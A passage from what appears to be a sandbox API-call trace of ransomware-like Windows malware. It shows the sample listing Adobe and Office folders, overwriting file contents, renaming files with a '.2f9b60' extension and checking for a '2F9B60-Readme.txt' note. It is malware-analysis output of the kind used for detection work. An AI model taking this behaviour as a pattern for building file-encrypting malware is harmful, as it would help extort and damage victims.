out: Seed=0x1f64f750) returned 0x6466a35d [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x48e765bb [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x40b7acea [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x297d5aa2 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x1d4a3304 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x22a6a65 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x1f1d4e67 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x2d331306 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x496d76c [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x734fa193 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x271c37d3 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x50089dda [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x7499a0c0 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x3f386ad3 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x4414842b [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x62ecb577 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x4cc520a9 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x70c86977 [0113.595] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x3fb4c1b7 [0113.609] ReadFile (in: hFile=0x17c4, lpBuffer=0x41d6a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x1f64f750, lpOverlapped=0x0 | out: lpBuffer=0x41d6a520*, lpNumberOfBytesRead=0x1f64f750*=0x85, lpOverlapped=0x0) returned 1 [0113.612] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.612] WriteFile (in: hFile=0x17c4, lpBuffer=0x41d6e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x1f64f754, lpOverlapped=0x0 | out: lpBuffer=0x41d6e130*, lpNumberOfBytesWritten=0x1f64f754*=0x85, lpOverlapped=0x0) returned 1 [0147.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0147.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0147.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0147.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6e130) returned 1 [0147.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6a520) returned 1 [0147.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0147.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0147.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c580 [0147.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c2b0 [0147.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0147.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0147.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0147.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c8f0 [0147.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0147.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72c0 [0147.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced72c0) returned 1 [0147.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0147.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 [0147.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b82f830 [0147.887] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.887] WriteFile (in: hFile=0x17c4, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x1f64f870, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x1f64f870*=0x122, lpOverlapped=0x0) returned 1 [0161.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a60 [0161.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d70 [0161.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d70) returned 1 [0161.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d82c0 [0161.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d70 [0161.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3da0 [0161.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3da0) returned 1 [0161.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a60) returned 1 [0161.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b7c1b80 [0161.283] sprintf (in: _Dest=0x1b7c1b80, _Format="%c%c" | out: _Dest="78") returned 2 [0161.283] sprintf (in: _Dest=0x1b7c1b82, _Format="%c%c" | out: _Dest="70") returned 2 [0161.283] sprintf (in: _Dest=0x1b7c1b84, _Format="%c%c" | out: _Dest="97") returned 2 [0161.283] sprintf (in: _Dest=0x1b7c1b86, _Format="%c%c" | out: _Dest="8a") returned 2 [0161.283] sprintf (in: _Dest=0x1b7c1b88, _Format="%c%c" | out: _Dest="11") returned 2 [0161.283] sprintf (in: _Dest=0x1b7c1b8a, _Format="%c%c" | out: _Dest="d3") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b8c, _Format="%c%c" | out: _Dest="b1") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b8e, _Format="%c%c" | out: _Dest="cf") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b90, _Format="%c%c" | out: _Dest="06") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b92, _Format="%c%c" | out: _Dest="2e") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b94, _Format="%c%c" | out: _Dest="42") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b96, _Format="%c%c" | out: _Dest="76") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b98, _Format="%c%c" | out: _Dest="ce") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b9a, _Format="%c%c" | out: _Dest="6c") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b9c, _Format="%c%c" | out: _Dest="87") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1b9e, _Format="%c%c" | out: _Dest="a3") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1ba0, _Format="%c%c" | out: _Dest="6b") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1ba2, _Format="%c%c" | out: _Dest="15") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1ba4, _Format="%c%c" | out: _Dest="86") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1ba6, _Format="%c%c" | out: _Dest="71") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1ba8, _Format="%c%c" | out: _Dest="84") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1baa, _Format="%c%c" | out: _Dest="e3") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bac, _Format="%c%c" | out: _Dest="85") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bae, _Format="%c%c" | out: _Dest="f9") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bb0, _Format="%c%c" | out: _Dest="8b") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bb2, _Format="%c%c" | out: _Dest="af") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bb4, _Format="%c%c" | out: _Dest="60") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bb6, _Format="%c%c" | out: _Dest="c0") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bb8, _Format="%c%c" | out: _Dest="8b") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bba, _Format="%c%c" | out: _Dest="51") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bbc, _Format="%c%c" | out: _Dest="f9") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bbe, _Format="%c%c" | out: _Dest="20") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bc0, _Format="%c%c" | out: _Dest="30") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bc2, _Format="%c%c" | out: _Dest="bb") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bc4, _Format="%c%c" | out: _Dest="e7") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bc6, _Format="%c%c" | out: _Dest="1f") returned 2 [0161.284] sprintf (in: _Dest=0x1b7c1bc8, _Format="%c%c" | out: _Dest="c4") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bca, _Format="%c%c" | out: _Dest="37") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bcc, _Format="%c%c" | out: _Dest="d6") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bce, _Format="%c%c" | out: _Dest="c5") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bd0, _Format="%c%c" | out: _Dest="bb") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bd2, _Format="%c%c" | out: _Dest="a5") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bd4, _Format="%c%c" | out: _Dest="2d") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bd6, _Format="%c%c" | out: _Dest="29") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bd8, _Format="%c%c" | out: _Dest="b0") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bda, _Format="%c%c" | out: _Dest="db") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bdc, _Format="%c%c" | out: _Dest="90") returned 2 [0161.285] sprintf (in: _Dest=0x1b7c1bde, _Format="%c%c" | out: _Dest="6c") returned 2 [0161.285] RtlInitAnsiString (in: DestinationString=0x1f64f8e8, SourceString="7870978a11d3b1cf062e4276ce6c87a36b15867184e385f98baf60c08b51f92030bbe71fc437d6c5bba52d29b0db906c" | out: DestinationString="7870978a11d3b1cf062e4276ce6c87a36b15867184e385f98baf60c08b51f92030bbe71fc437d6c5bba52d29b0db906c") [0161.285] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f64f8b8, SourceString="7870978a11d3b1cf062e4276ce6c87a36b15867184e385f98baf60c08b51f92030bbe71fc437d6c5bba52d29b0db906c", AllocateDestinationString=1 | out: DestinationString="7870978a11d3b1cf062e4276ce6c87a36b15867184e385f98baf60c08b51f92030bbe71fc437d6c5bba52d29b0db906c") returned 0x0 [0161.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1198c0 [0161.285] RtlFreeAnsiString (AnsiString="7") [0161.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0161.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d82c0) returned 1 [0161.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d70) returned 1 [0161.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0161.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0161.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0161.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0161.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0161.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8b60) returned 1 [0161.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c50) returned 1 [0161.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8bf0) returned 1 [0161.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205c6f0 [0161.288] wcscat (in: _Dest=0x4205c6f0, _Source="7870978a11d3b1cf062e4276" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\7870978a11d3b1cf062e4276") returned="C:\\Users\\Default\\Favorites\\Windows Live\\7870978a11d3b1cf062e4276" [0161.288] wcscat (in: _Dest=0x4205c6f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\7870978a11d3b1cf062e4276.2f9b60") returned="C:\\Users\\Default\\Favorites\\Windows Live\\7870978a11d3b1cf062e4276.2f9b60" [0161.289] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Windows Live\\7870978a11d3b1cf062e4276.2f9b60", NtPathName=0x1f64f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Windows Live\\7870978a11d3b1cf062e4276.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1070c0 [0163.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0163.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1aae0) returned 1 [0163.150] NtQueryInformationFile (in: FileHandle=0x17c4, IoStatusBlock=0x1f64f8f8, FileInformation=0x1f64f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f64f8f8, FileInformation=0x1f64f908) returned 0x0 [0163.150] NtSetInformationFile (FileHandle=0x17c4, IoStatusBlock=0x1f64f8f8, FileInformation=0x1f64f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0164.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0164.990] FlushFileBuffers (hFile=0x17c4) returned 1 [0166.261] CloseHandle (hObject=0x17c4) returned 1 [0183.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8679c0 [0183.955] wcscpy (in: _Dest=0x1b8679c0, _Source="C:\\Users\\Default\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0183.955] wcscat (in: _Dest=0x1b8679c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0183.955] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\2f9b60-readme.txt")) returned 0x20 [0183.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8679c0) returned 1 [0183.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c330) returned 1 Thread: id = 1150 os_tid = 0xb50 [0113.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c210 [0113.252] wcscpy (in: _Dest=0x1b82c210, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0113.252] wcscat (in: _Dest=0x1b82c210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0113.252] wcscat (in: _Dest=0x1b82c210, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\*" [0113.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264ce0 [0113.252] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ccd0 [0113.253] wcscmp (_String1=".", _String2=".") returned 0 [0113.253] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.253] wcscmp (_String1="..", _String2=".") returned 1 [0113.253] wcscmp (_String1="..", _String2="..") returned 0 [0113.253] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0113.253] wcscmp (_String1="Reader_10.0.0", _String2=".") returned 1 [0113.253] wcscmp (_String1="Reader_10.0.0", _String2="..") returned 1 [0113.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9ca30 [0113.253] wcscpy (in: _Dest=0x1cd9ca30, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0113.253] wcscat (in: _Dest=0x1cd9ca30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0113.253] wcscat (in: _Dest=0x1cd9ca30, _Source="Reader_10.0.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" [0127.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9ca30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0127.191] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0127.192] FindClose (in: hFindFile=0x1cd9ccd0 | out: hFindFile=0x1cd9ccd0) returned 1 [0127.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ce0) returned 1 [0127.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0127.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 Thread: id = 1151 os_tid = 0xc34 [0113.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c490 [0113.255] wcscpy (in: _Dest=0x1b82c490, _Source="C:\\Users\\All Users\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0113.255] wcscat (in: _Dest=0x1b82c490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\" [0113.255] wcscat (in: _Dest=0x1b82c490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\*") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\*" [0113.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264f50 [0113.255] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x20264f50 | out: lpFindFileData=0x20264f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cdf0 [0113.259] wcscmp (_String1=".", _String2=".") returned 0 [0113.259] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x20264f50 | out: lpFindFileData=0x20264f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.260] wcscmp (_String1="..", _String2=".") returned 1 [0113.260] wcscmp (_String1="..", _String2="..") returned 0 [0113.260] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x20264f50 | out: lpFindFileData=0x20264f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0113.260] wcscmp (_String1="10.0", _String2=".") returned 1 [0113.260] wcscmp (_String1="10.0", _String2="..") returned 1 [0113.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9c9d0 [0113.260] wcscpy (in: _Dest=0x1cd9c9d0, _Source="C:\\Users\\All Users\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0113.260] wcscat (in: _Dest=0x1cd9c9d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\" [0113.260] wcscat (in: _Dest=0x1cd9c9d0, _Source="10.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0127.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1598 [0127.195] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x20264f50 | out: lpFindFileData=0x20264f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0127.195] FindClose (in: hFindFile=0x1cd9cdf0 | out: hFindFile=0x1cd9cdf0) returned 1 [0127.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264f50) returned 1 [0127.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0127.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bef0) returned 1 Thread: id = 1152 os_tid = 0xc30 [0113.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 0x20 [0113.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF", dwFileAttributes=0x20) returned 1 [0113.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f0 [0113.268] GetFileSizeEx (in: hFile=0x15f0, lpFileSize=0x2010f9e0 | out: lpFileSize=0x2010f9e0*=626) returned 1 [0113.268] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.268] ReadFile (in: hFile=0x15f0, lpBuffer=0x2010f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2010f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2010f960*, lpNumberOfBytesRead=0x2010f9a8*=0x4, lpOverlapped=0x0) returned 1 [0113.270] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0113.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0113.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.271] NtQuerySystemTime (in: CurrentTime=0x2010f8a0 | out: CurrentTime=0x2010f8a0*=132462177187234000) returned 0x0 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: 